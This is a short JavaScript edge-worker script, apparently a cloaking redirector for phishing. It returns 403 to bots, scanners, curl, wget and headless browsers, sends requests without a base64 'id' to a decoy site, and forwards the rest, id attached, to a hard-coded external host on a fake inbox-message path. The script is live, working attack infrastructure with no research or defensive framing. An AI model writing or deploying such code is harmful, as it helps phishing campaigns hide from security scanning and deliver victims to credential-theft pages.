export default { async fetch(request, env, ctx) { const url = new URL(request.url); const userAgent = request.headers.get('user-agent') || ''; const accept = request.headers.get('accept') || ''; const botPatterns = /(bot|crawl|spider|slurp|curl|wget|python|java|php|libwww|httpclient|apache|scanner|scraper|fetch|headless|phantom|selenium|puppeteer)/i; if ( !userAgent || !accept || !accept.toLowerCase().includes('text/html') || botPatterns.test(userAgent) ) { return new Response('Forbidden', { status: 403 }); } const id = url.searchParams.get('id') || ''; const isValidBase64 = (str) => { if (!str || str.trim() === '') return false; try { const decoded = atob(str); return btoa(decoded) === str || btoa(decoded) === str.replace(/=+$/, ''); } catch (e) { return false; } }; if (!id || !isValidBase64(id)) { return Response.redirect('https://ncsgallery.com/ftx', 302); } const domain = "https://tt.praxiseos.co.uk"; const path = "/readmessainboxreveicevei8g7h3iunwehb7g98eoivnelkr/comcap/"; const param = "?continue=" + encodeURIComponent(id); const redirectUrl = domain + path + param; return Response.redirect(redirectUrl, 302); } };